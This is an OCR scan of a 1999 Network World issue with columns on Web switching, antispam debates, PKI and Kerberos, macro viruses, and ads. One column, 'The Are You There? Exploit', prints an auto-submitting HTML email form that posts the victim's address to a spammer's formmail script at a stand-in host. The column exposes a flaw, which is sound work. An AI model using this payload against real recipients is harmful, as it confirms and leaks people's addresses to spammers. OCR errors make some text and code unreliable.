to  select  best  server  or  cache  to  satisfy  request. 


Client 


1 11.31  Pa,ckets 
vww.nv  / 


TCP  spoof 


iimimimim 

Web  switch 


Q  A  session  is  created  between  the  switch  and  the  optimal  server. 

A  flow  control  block  is  created  in  the  switch  port  ASIC,  and  all 
subsequent  packets  are  forwarded  without  intervention  by  the  switch. 


BY  CHENG  Wl 

In  enterprise  networks,  the  name  of 
the  game  is  getting  packets  from 
point  A  to  point  B  fast  By  speeding 
IP  packet  forwarding,  conventional 
Laver  5  and  Layer  a  switches  have  greatly 
improved  network  performance.  But 
businesses  -itch  as  W  eb  and  content 
hosting,  ar.o  electronic  commerce  ser¬ 
vices.  depend  on  fast,  reliable,  error-free 
W  eb  performance. 

Enter  a  technique  called  Web  swirch- 
•-•.ig  W  eb  svv  aching  -  designed  to  address 
the  requirements  of  Web  traffic.  W  eb 
switches  interce  pt  all  traffic  destined  for 
a  parfietbar  site  As  a  result,  these  switches 
hav  e  the'  abilirv  to  track  content  requests 
and  predict  heavy  traffic  loads  before 
servers  become  overwhelmed. 

Armed  with  URL  load-balancing  capa¬ 
bilities.  Network  Address  Translation,  and 
embedded  Domain  Name  System  intelli¬ 
gence.  the  swatches  use  complex  policies 
to  manage  and  speed  Web  traffic  flow . 

W  eb  swatches  are  able  to  quicken  die 
pace  of  W  eb  traffic  because  they  use 
URLs.  in  addition  to  IP  addresses,  to 
make  swatching  decisions  URLs  provide 
a  method  of  identifying  content  wherev¬ 
er  it  is  on  the  Internet.  A  I  RL  identifies 
only  the  content  requested;  it  does  not 
dictate  w  here  the  content  might  be 
found.  So  instead  of  viewing  the  EP 
address  associated  with  the  URL  as  the 
netw  ork  address,  this  address  points  to 
the  virtual  DP  address  (\1P)  of  the  Web 
switch,  which  functions  as  a  cache  or 
content  traffic  manager.  The  result;  a  con¬ 
sistently  positive  performance  for  Web 
site  users. 

Current  load-balancing  servers  or 
devices,  including  Layer  4  switches, 
route  incoming  packets  based  on  the 
destination  IP  address  or  the  combina¬ 
tion  of  destination  EP  address,  protocol 
ID  and  transport  port  number.  This  can 
be  problematic  in  a  Web  environment.  To 
a  Layer  4  load-balancing  device.  Web 
applications  appear  to  be  using  TCP  port 
80  —  the  typical  TCP  port  for  HTTP  traf¬ 
fic  —  making  Web  application  traffic 
indistinguishable  from  HTTP  traffic. 

Port  numbers  are  a  staple  of  TCP/IP 
communications.  Because  several 
application  programs  may  be  running 
on  one  machine  and  using  a  single  net¬ 
work  interface.  TCP  needs  to  keep 
track  of  what  data  goes  to  which  pro¬ 
gram.  This  is  done  by  assigning  a  port 
number  to  evervTCP  connection.  Each 


TCP  session  has  a  destination  port 
number  in  the  TCP  header.  When  a  TCP 
segment  is  received,  the  TCP  router 
knows  w  hich  port  to  pass  it  to  by  look¬ 
ing  at  the  port  number  in  the  TCP 
header.  Some  standard  port  numbers 
are;Telnet.  port  23:  Simple  Mail  Transfer 
Protocol  Mail,  port  25:  and  Post  Office 
Protocol  3  Mail,  port  110. 

Typically  with  Lay  er  4  switching,  a 
Common  Gateway  Interface  request 
looks  no  different  than  a  Web-enabled 
S.AP  application  or  streaming  audio 
request,  even  though  all  of  these 
requests  have  very  different  quality  of 
service  (QoS)  requirements. 

In  contrast.  Web  switches  use  URLs  to 
route  incoming  TCP  or  User  Datagram 
Protocol  (UDP)  flows  to  targeted 
servers.  By  looking  into  the  Hi’lP  pay- 
load  down  to  the  URL  and  cookie,  a  Web 
switch  knows  what  content  is  being 
requested.  With  this  knowledge,  user- 
defined  and/or  pre-set  policies  deter¬ 
mine  which  flow-security  rules  are 
enforced,  which  content  is  allow  ed  or 
denied,  and  which  QoS  requirements  are 
needed  for  specific  content  or  users. 

Web  switches  support  cookies  and 
authentication  via  a  scalable  multi¬ 
processor  framework  that  evaluates 
policies  only  at  session  setup  Once  a 
flow  is  set  up.  all  subsequent  packets 


within  that  flow  are  cut  through  at  wire 
speed  via  high-speed  forwarding  ASICs 
on  a  per-port  basis. 

This  approach  of  “flow  setup  once, 
switch  aD  other  packets”  enables  the 
classification  of  traffic  at  the  URL  level 
while  achieving  the  price/performance 
of  LAN  switches. 

Web  switches  also  dy  namically  repli¬ 
cate  hot  content  to  a  Web  cache  and 
bring  the  cache  into  the  load-balancing 
rotation,  ensuring  that  users  get  the 
information  they  need  no  matter  how 
much  traffic  is  traversing  the  site. 

Web  switching  also  enables  virtual 
Web  sites,  where  one  or  more  geograph¬ 
ically  dispersed  data  center  appears  as 
one  domain  name.  Users  enter  a  URL 
and  the  Web  switch  determines  which 
Web  server  or  cache  is  best  able  to  han¬ 
dle  the  specific  request.  Typically,  the 
server  closest  to  the  user  is  best,  but  Web 
switches  can  use  HTTP  redirects  to  ful¬ 
fill  content  requests  from  a  server 
halfway  around  the  world,  offering  a 
powerful  backup  system  if  a  local  server 
fails  or  overloads. 

Wu  is  founder,  president  and  CEO 
of  Arrou  Point  Communications,  a 
network  equipment  tend  or  in  West- 
ford.  Mass.  He  can  be  reached  at 
( 9~8 )  692-58~5- 
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Gearhead  —  inside  the  network  machine  .  Mark  Gibbs 

The  “Are  You  There?”  Exploit 


“If  a  system  is  of  sufficient  com¬ 
plexity,  it  will  be  uritten  before  it’s 
designed,  implemented  before  it’s 
tested  and  obsolete  before  it’s 
debugged.” 

—  An  engineering  aphorism  that, 
unfortunately,  is  completely  true 

That  old  engineering  quip  is  a  lot 
less  funny  when  you’re  in  the 
network  business.  And  a  conse¬ 
quence  of  complexity  is  your  systems 
are  full  of  holes  that  hackers,  crackers 
and  the  rest  of  the  black  hat 
menagerie  like  to  exploit. 

Before  I  show  you  a  hole  I  discov¬ 
ered  last  week,  let  me  first  define 
what  I  mean.  Holes  are  oversights 
that  allow  miscreants  to  enter  your 
system  or  do  other  things  that  likely 
won’t  make  you  too  happy.  Holes  are 
usually  oversights  or  bugs,  the  result 
of  things  like  leaving  default  pass¬ 
words  set  to  “password”  or  exposing 
the  password  file. 

But  holes  can  also  be  subtle.  Rather 
than  huge,  gaping  crevices,  holes  can 
be  the  result  of  interactions.  Such  is 
the  case  with  the  hole  I  found,  which 
I’m  pleased  to  call  the  “Are  You 
There?”  exploit. 


The  background  to  this  piece  of 
chicanery  lies  in  something  spam¬ 
mers  want  desperately  —  to  know  if 
you  are  there.  Spammers  send  out 
millions  of  messages  and  many  of 
them  say:  “If  you  don’t  want  to  be  on 
our  list,  send  a  message  to  ...” 

This,  of  course,  is  a  ruse  to  get  you 
to  verify  your  existence  so  they  can 
mark  you  as  “live”  —  in  effect,  a  more 
valuable  target.  For  that  reason,  most 
savvy  users  just  dump  such  messages 
in  the  bit  bucket. 

Of  course,  if  you  have  allowed  your 
e-mail  client  to  automatically  gener¬ 
ate  responses  to  receipt  requests, 
then  all  bets  are  off  —  the  spammers 
know  you  are  there. 

So,  I  started  to  wonder,  how  could 
someone  make  me  confirm  I  exist?  A 


few  weeks  ago,  Gearhead  discussed 
HTML  forms.  What  if  you  could  per¬ 
vert  the  use  of  an  HTML  form  for  the 
purpose  of  detecting  live  users? 

Well,  one  thing  you  could  do  is 
e-mail  a  form  to  an  unsuspecting  vic¬ 
tim  and  get  it  to  automatically  send 
itself  back. The  e-mail  message  is  actu¬ 
ally  an  HTML  document,  and  to  get  it 
to  boomerang  you’d  need  a  little 
piece  of  JavaScript  that  looks  like  this: 

<form  action=http://www.spam 
mer.com/cgi-bin/for  mm  ail.  pi 
method=post> 

cinput  name=“recipient”  type= 
hidden  value=“spammer@spammer. 

com”> 

< input  name=“realname”  type= 
text  value=“you@yourdomain.com”> 
</form> 

<script  language=“javascript”> 

<!--  Begin 

document.forms  [0]  .submitO; 

//  End  --> 

</script> 

This  exploit  requires  a  form  han¬ 
dler  running  on  a  Web  server  that  the 
victim’s  PC  can  access.  The  one  that 
works  with  the  above  code  is  called, 
not  surprisingly,  formmail. 

This  is  a  Perl  script  by  Matt  Wright 


that  you  can  find  at  www. worldwide 
mart.com/scripts/formmail.shtml. 

This  program  mails  the  form  to  the 
destination  specified  in  the  e-mail 
recipient  field  (you,  the  spammer). 
The  victim’s  e-mail  address  goes  in 
the  realname  field,  which  means  that 
you’ll  have  to  send  each  target 
address  an  individual  message  —  a 
task  that  is  easily  automated. 

And  that’s  it  folks!  Send  that  form 
to  someone  as  HTML  e-mail  and  if  he 
is  using  Outlook  or  any  other  pro¬ 
gram  that  uses  OLE  to  present  HTML 
data  using  Internet  Explorer  4.0+,the 
recipient  address  (you,  the  spammer) 
should  receive  a  message  as  soon  as 
the  form  is  opened. That  message  will 
appear  to  be  from  the  victim’s 
address  0  haven’t  exhaustively  tested 
it  on  multiple  clients  —  I  leave  that  as 
an  exercise  for  the  reader). 

I’m  sure  I  didn’t  discover  all  the 
nefarious  things  that  could  be  done 
with  this  exploit  in  the  couple  of 
hours  I  spent  fooling  around  with  it. 
But  this  exploit  does  show  that  com¬ 
plex  systems  have  complex  problems 
that  can  be  simply  exploited. 

Exploits  to  gearhead@gibbs.com. 


IFPs 

Starting  this  week,  we’re 
adding  a  new  Buyer’s  Guide 
feature:  Vendor  responses  to 
requests  for  proposal  (RFP). 

This  week’s  Buyer’s  Guide 
is  on  remote  access  servers. 
With  the  help  of  The  Tolly 
Group,  we  developed  an  RFP 
for  a  large-scale  remote 
access  implementation  at  a 
fictional  firm  (Abbig  Corp.). 
We  got  back  detailed  propos¬ 
als  from  Intel,  Cabletron, 
Multi-Tech,  RAScom  and 


’T  Net vs,  tips  and 
jP tools  from  our 
Web  site 


Osicom.  Come  online  to  see 
how  they  answered  our  RFP. 

Besides  the  RFP  responses, 
search  our  RAS  database.  You 
can  find  servers  that  match 
specific  criteria  or  compare 
servers  in  different  features. 

Our  next  Buyer’s  Guide  is 
on  virtual  private  networks 
(VPN).  If  you’ve  done  a  VPN 
RFP,  could  we  take  a  look? 
Send  a  copy  to  Online  Senior 
Reporter  Sandra  Gittlen  at 
sgittlen@nww.com. 

DocFinder:  2224 


Help  desk:  WAN  SLAs 

This  week,  Ron  Nutter 
answers  this  question:  “My 
company  is  in  the  process  of 
putting  in  a  wide-area  frame 
relay  network.  Our  long¬ 
distance  carrier  says  we 
don’t  need  a  backup  system 
because  of  the  service  guar¬ 
antee  it  provides.  However, 
the  day  we  signed  the  frame 
relay  contract,  this  carrier  did 
suffer  a  prolonged  service 
outage.  Do  you  have  any 
suggestions?” 

Read  Nutter’s  answer,  then 
follow  the  links  to  additional 
information  on  service-level 
agreements  —  and  our  look  at 
the  aftermath  of  AT&T’s  mas¬ 
sive  frame  outage  last  year. 

DocFinder:  2229 

The  doctor  will  see  you 

Career  Doctor  Shaun 
Kelly’s  back  for  another  con¬ 
sult  this  Wednesday.  In  addi¬ 
tion  to  his  weekly  advice, 
we’ve  begun  developing  a 
career  FAQ  based  on  the  more 


H  JUI  H 

Hfl 

■mmWkM  IP! 

ijv 

• 

1 

common  questions  he  gets. 

DocFinder:  2228 

Conferencing  software 

Conferencing  or  bulletin- 
board  software  can  be  an 
easy  way  to  increase  interac¬ 
tion  with  users  and  custom¬ 
ers.  A  number  of  Web-based 
forum  applications  let  you 
quickly  set  up  online  confer¬ 
ences  for  everything  from 
user  support  to  ad  hoc  pro¬ 
ject  discussions.  This  week, 
we’ll  point  you  to  several 
conferencing  applications, 
ranging  from  simple  Perl 
scripts  to  complex  systems 
that  can  span  multiple 
servers. 

DocFinder:  223 1 

3Com  and  convergence 

Last  week,  we  ran  a  story 
about  potential  roadblocks 
for  vendors,  such  as  3Com, 
that  are  trying  to  get  their 
users  to  abandon  traditional 
PBXs  for  IP-based  systems. 
See,  what  Fusion  users  said 


and  add  your  comments  to 
the  discussion. 

DocFinder:  2232 

IE  5.0  and  the  feds 

Fusion  users  also  had 
something  to  say  about  gov¬ 
ernment  claims  that  Micro¬ 
soft’s  latest  version  of  Inter¬ 
net  Explorer  bolsters  the 
feds’  antitrust  case  against 
the  company.  “The  only  con¬ 
clusion  a  reasonable  person 
can  draw  is  that  for  some  rea¬ 
son,  the  Department  of  Justice 
thinks  Netscape  deserves  to 
succeed  more  than  Microsoft 
does,”  one  user  wrote.  What  do 
you  think? 

DocFinder:  2233 

React! 

We’re  adding  feedback 
forms  to  stories  and  columns 
on  Fusion.  Here’s  your  chance 
to  tell  us  what  you  think  of  the 
articles  and  the  issues  they 
raise.  Comments  will  be  for¬ 
warded  to  the  appropriate 
writers  and  editors. 

eonri 
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Find  answers  to  global-sized  challenges 


at  NetWorld+Interop  and  EXPO  COMM.  Get  cutting-edge 
solutions  for  the  next  generation  networks.  EXPO  COMM,  the 
leading  international  telecommunications  event  dedicated  to 
service  provider  issues,  is  joining  NetWorld+Interop,  to 
provide  a  complete  resource  for  the  service  provider  and 
enterprise  market. 

EXPO  COMM’s  unique  conference  program  provides  infor¬ 
mation  crucial  for  building  and  managing  regional  and  global 
networks — topics  range  from  ATM  technologies,  VPN 
deployment,  DSL  deployment,  integrating  SS7  and  IP,  IPv6, 


to  gigabit  routers.  Benefit  from  the  experience  of  our  experts 
and  visionaries  and  gain  knowledge  you  can  use  now  to 
ensure  your  future  success,  competitiveness  and  profitability. 

At  NetWorld+Interop  99  Las  Vegas,  four  focused  conferences 
cover  the  entire  spectrum  of  networking  issues  that  confront 
telecommunications  professionals.  From  58  in-depth  tutorials 
and  workshops  to  an  interactive  show  floor  featuring  more 
than  600  of  the  world’s  leading  vendors,  you’ll  find  all  the 
information  you  need  on  key  networking  technologies  and 
products  in  one  place. 


NETWSRLDrfINTEROP  99 
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Conference  and  Exhibition  May  10-14,  1999  Las  Vegas 
Visit  www.interop.com  or  call  1-888-886-4057 
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Editorial  Insights 

OS  vendors  rise  to 
NW  debate  challenge 

This  is  gonna  be  good.  Microsoft, 
Novell,  Sun,  The  Santa  Cruz  Oper¬ 
ation  (SCO)  and  Red  Hat  Software 
have  accepted  my  challenge  to  take 
part  in  a  debate  —  dubbed  The  Operating 
System  Showdown  —  at  the  NetWorld+ 

Interop  conference  in  Las 
Vegas  in  May. 

Each  of  the  companies  will 
send  a  top  technical  executive 
to  participate  in  this  special 
event,  which  is  aimed  at  help¬ 
ing  customers  understand  the 
strengths  and  weaknesses  of 
the  key  server  operating  sys¬ 
tems  and  the  future  strategies 
of  the  major  suppliers. 

Who’s  in?  A  roster  of  top- 
name  speakers,  I’m  happy  to 
report.  Microsoft  is  sending  Tanya  van  Dam, 
group  product  manager  for  Windows  NT 
Server.  From  Novell,  we  have  Chief  Scientist 
Drew  Major,  one  of  the  best-known  figures  in 
the  software  world.  Sun  is  sending  Richard 
Green,  vice  president  of  the  Solaris  product 
line,  while  SCO  is  being  represented  by  Tamar 
Newberger,  director  of  server  product  market¬ 
ing.  Rounding  out  the  pack  will  be  ErikTroan, 
Red  Hat’s  director  of  engineering. 

In  one  room,  going  head  to  head  in  a  presi¬ 
dential-style  debate,  will  be  representatives 
from  the  companies  that  control  NT,  NetWare, 
the  leading  Intel-based  Unix  platform  (SCO), 
Solaris  and  the  leading  commercial  Linux 
offering.  Could  you  ask  for  anything  more? 

But  wait,  there’s  more.  Not  only  will  our  ven¬ 
dor  executives  be  grilling  each  other,  they'll  also 
be  facing  questions  from  a  panel  of  industry 
experts  that  will  include  Christine  Burns,  a 
Network  World  senior  editor  covering  Microsoft 
and  Novell,  and  Nick  Petreley,  editorial  director 
for  Linux  World  (www.linuxworld.com).  And 
our  vendor  representatives  will  have  to  field 
tough  questions  from  the  audience,  as  well. 

This  is  a  unique  opportunity  for  you  to  hear 
the  top  server  operating  system  vendors 
debate  in  an  open  forum.  It’s  our  seventh  such 
Showdown,  and  it  will  give  you  a  chance  to 
hear  from  some  of  the  leading  technical  minds 
in  our  industry  in  a  session  that  —  unbeliev¬ 
ably  —  has  no  PowerPoint  presentations  and 
no  marketing  hype.These  executives  know 
exactly  where  to  attack  each  other  on  issues 
of  scalability,  manageability,  cost  of  ownership, 
applications  support  and  many  others. 

The  Operating  System  Showdown  will  be 
held  from  10:30  to  noon  on  Tuesday,  May  11, 
in  the  Las  Vegas  Convention  Center,  Room 
N246.  Don’t  miss  it. 

—  John  Gallant 
jgallant@nu>w.  com 
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More  on  MAPS 

It  is  very  disappointing  that  James  Kobielus 
made  no  attempt  to  contact  the  Mail  Abuse 
Prevention  System  (MAPS)  so  that  we  might 
have  helped  him  gain  a  clearer  understanding 
of  how  we  operate  (“Antispam  effort  smacks 
of  cyber-McCarthyism,”  March  8,  page  41). 

First,  the  Realtime  Blackhole  List  (RBL)  is 
used  voluntarily  by  approximately  18,000  orga¬ 
nizations  worldwide.  Rather  than  develop  their 
own  blocking  lists,  these  organizations  defer  to  the 
expertise  and  judgment  of  MAPS. 

Second,  MAPS  is  accountable  to  these  18,000 
organizations.  Those  that  do  not  like  our  decisions 
may  stop  using  our  services. 

Third,  no  site  is  ever  added  to  the  RBL  without 
MAPS  first  having  made  attempts  to  contact  it.  We 
always  give  sites  an  opportunity  to  defend  their 
practices  or  correct  their  problems  before  being 
added  to  the  RBL. 

Rather  than  consider  MAPS  a  group  of  renegade 
cops,  think  of  us  as  security  guards  hired  by  clients 
to  protect  their  private  property. 

I  would  also  like  to  point  out  one  aspect  of 
MAPS  that  Kobielus  overlooks  completely:  our 
Transport  Security  Initiative  (TSF). Through  theTSI 
we  provide,  at  no  charge,  technical  advice  on  prop¬ 
erly  securing  e-mail  servers  in  order  to  avoid  having 
them  listed  in  the  RBL.  In  other  words,  MAPS  takes 
concrete  steps  to  help  administrators  curtail  abuse 
from  their  networks.  We’re  doing  our  best  to  ensure 
the  Internet  remains  a  viable  place  for  the  conduct 
of  personal  and  business  interactions. 

Nick  Nicholas 
Executive  director 
Mail  Abuse  Prevention  System 
Redwood  City,  Calif. 


Regarding  James  Kobielus’  opinion  article  on  the 
“evils”  of  the  MAPS  antispam  service:  MAPS’  service 
is  offered  to  anyone  who  wants  to  use  it.  There  is 
no  coercion.  There  isn’t  even  much  promotion.  Its 
success  can  be  attributed  solely  to  its  effectiveness 
at  blocking  unsolicited  e-mail. 

Kobielus  can’t  believe  that  sending  unsolicited 


e-mail  is  tantamount  to  criminal  behavior? 
Well,  here’s  some  late-breaking  news;  spam¬ 
ming  currently  is  a  criminal  offense  in  at  least 
four  states,  including  California  and  Oregon. 

Finally,  Kobielus  complains  that  MAPS  is 
unreasonable  in  asking  that  Simple  Mail  Transfer 
Protocol  relays  be  restricted.  I  would  liken  this 
to  not  clearing  an  icy  sidewalk  on  your  property. 
You’re  welcome  to  leave  a  dangerous  condition. 
But  if  other  parties  are  injured  because  of  your 
inaction,  they  should  have  the  right  to  be  com¬ 
pensated  for  your  negligence. 

Brad  Albom 
Director  of  engineering 
Software  Engineering  Solutions 
Mountain  View,  Calif. 


Mad  about  Martha 

Regarding  Mark  Gibbs’  “Backspin”  column  “Martha, 
leave  me  alone”  (March  8,  page  65): 

I  was  once  spammed  by  Wood  Online,  the  Web 
site  of  a  publishing  group  that  puts  out  a  ton  of 
magazines.  I  tried  the  normal  ways  of  getting  the 
group  to  leave  me  alone  and  nothing  worked. 

Then,  getting  smart,  I  hit  the  corporate  Web  site 
and  found  a  list  of  the  people  at  the  top  —  not  to 
mention  the  company’s  mailing  address.  A  politely 
worded  letter  to  the  chief  information  officer  (CIO) 
did  wonders. 

That  won’t  work  here.  If  Martha  Stewart  still 
hasn’t  left  Gibbs  alone,  here’s  what  he  should  do: 

•  Go  to  www.internic.net  and  do  a  search  on 
marthastewart.com.  Legally  that  has  to  turn  up  the 
hosting  service  behind  the  site,  a  mailing  address 
and  a  phone  number. 

•  Visit  the  Web  host’s  site  and  leave  the  folks  a 
message  describing  the  problem  and  begging  for 
help. 

•  If  no  action  results,  find  out  who  owns  the  Web 
host  (for  example,  by  using  www.arin.net/whois) 
and  send  its  CIO  a  nastygram  describing  the  prob¬ 
lem  again. 

If  Gibbs  doesn’t  get  the  promised  results,  he 
should  slap  on  a  spam  filter  and  put  the  whole 
thing  into  a  column  as  promised. 

Ruth  Hanschka 
Bloomfield,  Conn. 


Send  letters  to  nwnews@nww.com  or  John 
Gallant,  editor  in  chief,  Network  World, 
161  Worcester  Road,  Framingham,  MA 
01701.  Please  include  phone  number  and 
address  for  verification. 
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Intranet  Advisor  .  Daniel  Blum 

Making  information  flow  seamlessly  but  securely 


ith  business-to-business  commerce,  the  line 
between  internal  and  external  IS  systems  is 
blurring  or  even  beginning  to  disappear. 
When  a  retailer  like  Sears  or  K-mart  sub¬ 
contracts  catalog  ordering  to  another  com¬ 
pany,  both  organizations’  customer  service 
systems  must  be  integrated  through  secure  workflow 
processes.  Entertainment  conglomerates  such  asTime- 
Wamer  and  Disney  deal  with  thousands  of  entrepre¬ 
neurial  partners  via  the  Internet.  In  each  case,  informa¬ 
tion  has  to  be  always  online,  access-controlled  and  up- 
to-date. 

What  enterprises  really  need  is  multitier  interopera¬ 
ble  secure  computing,  where  clients,  services  and 
resources  rendezvous  and  authenticate  through  a  gen¬ 
eral-purpose  directory  and  security  infrastructure 
regardless  of  whether  or  not  they  run  on  the  same 
operating  system.  For  this  to  happen,  the  cooperating 
network  entities  must  be  able  to  identify,  authenticate 
and  determine  authorization  both  for  each  other  and 
for  the  originator  of  a  request  through  each  tier  or 
architecture  level. 


The  good  news  is  that  components  of 
the  general-purpose  directory  and  security 
infrastructure  are  starting  to  arrive.Your 
job  is  to  begin  mastering  them  now,  before 
your  competition  does. 

First,  learn  about  and  use  public  key 
infrastructure  and  PKI-based  protocols 
such  as  Secure  Multi-purpose  Internet  Mail 
Extensions  (S/MIME)  and  IP  Security  (IPSec).  PKI  will 
be  the  front  door  for  authenticating  external  trading 
partners  or  your  own  remote  users  at  the  firewall.  Web 
pages  at  www.ietf.org  and  www.rsa.com/rsalabs/faq/ 
html/questions.html  are  great  starting  points. 

Next,  get  the  lowdown  on  Kerberos.  If  you  thought 
this  venerable  authentication  protocol  was  going 
down  with  the  Distributed  Computing  Environment, 
think  again.  It’ll  be  back  big  time  with  Microsoft  Win¬ 
dows  2000,  and  there  are  a  lot  of  Unix  implementa¬ 
tions  today.  Once  a  client  is  through  your  firewall’s 
front  door,  Kerberos  is  a  great  way  to  delegate  the 
client  secure,  authenticated  access  to  systems  on  your 
intranet.  Find  the  FAQ  at  web.mit.edu/kerberos/www/. 


Finally,  all  the  PKI  and  Kerberos  in  the 
world  won’t  help  unless  you  can  access  or 
propagate  and  maintain  internal  and  exter¬ 
nal  user  identities  and  public  certificates 
across  architecture  tiers.  Check  out 
www3 .  innosoft .  com/ldap  world/index . 
html  to  track  the  Lightweight  Director}' 
Access  Protocol  (LDAP),  and  wwwtbg. 
com/tbgliome/metafaq.htm  to  get  the  definition  of 
meta-directory  technologies  that  provide  the  ultimate 
in  directory  synchronization  and  integration. 

With  PKI,  Kerberos,  IPSec,  LDAP  meta-directories 
and  other  enablers,  a  new  general-purpose  net  infra¬ 
structure  awaits  us  on  the  other  side  ofY2K.The  new 
infrastructure  will  make  most  of  today’s  architecture 
obsolete.  Get  ready  to  work  on  developing  multitier 
interoperable  secure  computing  for  your  enterprise. 

Blum  is  a  senior  vice  president  and  principal 
consultant  with  The  Burton  Group,  an  IT  advisory 
service  providing  in-depth  analysis  for  network 
planners.  He  can  be  reached  at  dblum@tbg.com. 


Speaking  the  LANguage  .  Linda  Musthaler 

Typhoid  Mary  hits  the  enterprise  network 


I  have  a  confession  to  make:  I  am  a  menace  to 
society  —  the  worldwide  digital  society,  that  is. 
My  recent  crime  spree  touched  so  many  people 
that  I  expect  to  see  my  mug  shot  pop  up  on  the 
post  office’s  Web  site.  Just  what  was  my  malevo¬ 
lent  deed?  With  a  few  clicks  of  my  mouse  and 
my  overused  Send  key,  I  unleashed  a  nasty  virus  on 
unsuspecting  digital  victims  around  the  world. 

My  actions  weren’t  intentional,  of  course.  I  had 

been  doing  business  the  way 
I’ve  always  done,  when  one 
day  the  recipient  of  one  of 
my  e-mailed  documents 
informed  me  of  the  virus.  But 
how  could  this  be?  I  run  a 
virus  checker,  religiously 
searching  for  the  telltale  signs 
of  any  malicious  code.  How 
could  I  have  become  the  scourge  of  the  network? 

The  sad  fact  is,  I’m  not  the  only  culprit.  Workplace 
computer  virus  infections  are  on  the  rise,  according 
to  the  International  Computer  Security  Association 
(ICSA).The  primary  reason  for  the  increase  is  the 
spread  of  macro  viruses  usually  found  in  files 
attached  to  e-mail.  With  the  increasing  use  of  enter¬ 
prise  e-mail  and  our  propensity  to  attach  documents 
to  our  messages,  we  are  now  circulating  viruses 
faster  and  farther  than  ever.  According  to  the  ICSA, 
macro  viruses  now  represent  80%  of  all  computer 
virus  infections. 

Chances  are  your  network  has  been  (or  will  be) 
hit  by  a  computer  virus. The  ICSA  estimates  that  a 
network  of  100  PCs  will  have  three  infected  com¬ 
puters.  Despite  the  best  efforts  of  network  adminis¬ 
trators  worldwide,  we  are  fighting  an  uphill  battle. 


Like  any  responsible  user,  I  called  the  tech  sup¬ 
port  troops  when  I  discovered  my  computer  was 
infected.  My  case  was  given  a  high  priority  and  a 
technician  visited  right  away.  He  updated  my  virus 
signature  files  (the  files  that  help  identify  virus  code 
patterns)  and  reran  the  virus  scanner.  Sure  enough, 
he  found  the  WM8.MARKER  virus  affecting  a  num¬ 
ber  of  files.  He  cleaned  them,  “inoculated”  my  sys¬ 
tem,  reinstalled  my  word  processing  template  and 
proclaimed  my  PC  virus-free. 

Ten  minutes  later,  I  opened  a  document  stored  on 
a  network  drive.  Bam!  I  reinfected  my  PC  and  my 
Word  template. This  became  a  vicious  cycle  for  me 
and  the  technician. 

My  greatest  source  of  frustration  with  this  whole 
scenario  is  that  my  files  that  are  stored  on  a  network 
server  are  still  infected.  Sure,  I  can  clean  them,  but 
they  don’t  stay  clean  for  long.  Why?  Because  the 
antivirus  software  on  the  server  isn’t  up-to-date  with 
the  new  virus  signature  files.  (The  technician  says  he 
can’t  get  the  necessary  files  from  the  vendor,  which 
shall  remain  nameless.) 

I’m  sure,  as  a  responsible  network  manager,  you 
take  all  possible  precautions  against  viruses.  Still, 
there  are  a  few  lessons  here  worth  reinforcing. 

First,  make  sure  you  have  all  your  points  of  vul¬ 
nerability  covered  —  the  desktop  (including 
portable  PCs),  network  servers,  Internet  e-mail  gate¬ 
ways  and  firewalls.  Select  a  set  of  antivirus  tools  and 
a  regimen  that  will  safeguard  all  the  files  that  will  be 
uploaded,  downloaded  and  generally  shared  or 
passed  around.  Many  products  work  across  plat¬ 
forms,  such  as  Windows  NT,  NetWare  and  Lotus 
Notes. 

Second,  be  sure  you  update  your  virus  signature 


files  regularly.  Most  commercial  antivirus  products 
include  regular  signature  updates  with  your  license. 
In  most  cases,  you  can  download  them  off  a  Web 
site.  Some  products  will  even  automatically  push  the 
new  signatures  out  to  you.  Be  sure  you  update  these 
signatures  on  all  levels  —  desktops  and  servers  —  as 
soon  as  they  become  available. 

Third,  don’t  forget  users  who  work  at  home. 
Encourage  them  to  install  antivirus  software  on  their 
home  PCs.  Give  it  to  them  free  and  remind  them  to 
update  it  every  so  often. 

There  are  some  great  online  resources  to  help 
you  learn  about  and  battle  computer  viruses.  Soft¬ 
ware  vendors  such  as  Network  Associates,  Symantec 
and  Computer  Associates  have  very  informative 
virus  resource  centers.  For  example,  the  Symantec 
AntiVirus  Research  Center  (www.symantec.com/ 
avcenter)  has  an  online  newsletter  and  in-depth 
information  about  various  viruses.  Likewise,  the 
Computer  Associates  Virus  Information  Center 
(www.cai.com/virusinfo)  offers  tips  on  managing 
virus  incidents  and  protecting  messaging  systems.  In 
addition  to  practical  information,  registered  users 
can  get  the  latest  virus  signatures  from  these  ven¬ 
dors  Web  sites. 

Computer  viruses  are  a  serious  problem  and  a 
serious  threat  to  our  increasing  dependence  on 
Internet-based  computing.  Unless  you  want  your 
users’  mug  shots  posted  next  to  mine,  you  must  stay 
proactive  to  keep  your  network  from  falling  victim 
to  a  virus  infection. 

Musthaler  is  vice  president  of  Currid  &  Co.,  a 
technology  consulting  firm  in  Houston.  She  can  be 
reached  at  linda@currid.com. 
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IT  All  Starts  Here. 


This  just  in:  CNN.com,  the  worlds  leading  news  site, 
now  features  technology  news  and  information  from  the 
Webs  fastest  growing  global  technology  information 
network  —  IDG.net. 


CNN  Interactive  has  discovered  what 
readers  of  IDG  publications  have  known 
for  over  30  years:  no  other  company 
can  match  the  breadth  and  quality  of 
technology  information  offered  by  IDG. 

Network  World  Fusion  —  along  with  fellow 
IDG.net  sites  Computerworld  Online , 
InfoWorld.com,  JavaWorld,  PC  World  Online 
and  TheStandard.com  —  is  proud  to  be 
part  of  the  Web’s  most  trusted  network  of 
computing  publications.  With  240  sites  in 
55  countries,  IDG.net  reaches  more 
readers,  in  more  markets,  than  any  other 
Web  network —  and,  it’s  growing  every  day. 


Now  millions  of  new  readers  worldwide 
will  discover  what  IDG.net’s  users  have 
known  all  along  —  that  IDG.net  offers 
the  most  comprehensive,  current,  and 
useful  computing  information  on  the 
Web  today. 

More  publications,  more  product  reviews, 
more  technology  news  —  more  of  the 
quality  information  you  need  to  make 
technology  decisions  for  any  computing 
environment,  from  the  home  office  to  the 
global  enterprise. 

IDG.net.  IT  all  starts  here. 
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Who  gives  you  the  better  deal 


RBOCs  or  CLECs? 


In  the  spirit  of  April  Fool’s  Day,  we’ve  invited  pro-RBOC  Howard  Anderson- 1  (HA-1 )  to  debate  his  CLEC-loving  alter  ego, 

Howard  Anderson-2  (HA-2),  on  which  camp  is  better  equipped  to  run  your  network. 


Howard  Anderson- 1:  You  would  have 
to  be  an  idiot  to  trust  your  network  to 
a  competitive  local  exchange  carrier 
(CLEC).They  just  don’t  have  the 
resources  to  do  the  job  yet. 

Howard  Anderson-2:  Wrong. The  fact 
is,  the  CLECs  are  wiping  the  floor  with 
the  regional  Bell  operating  companies. 

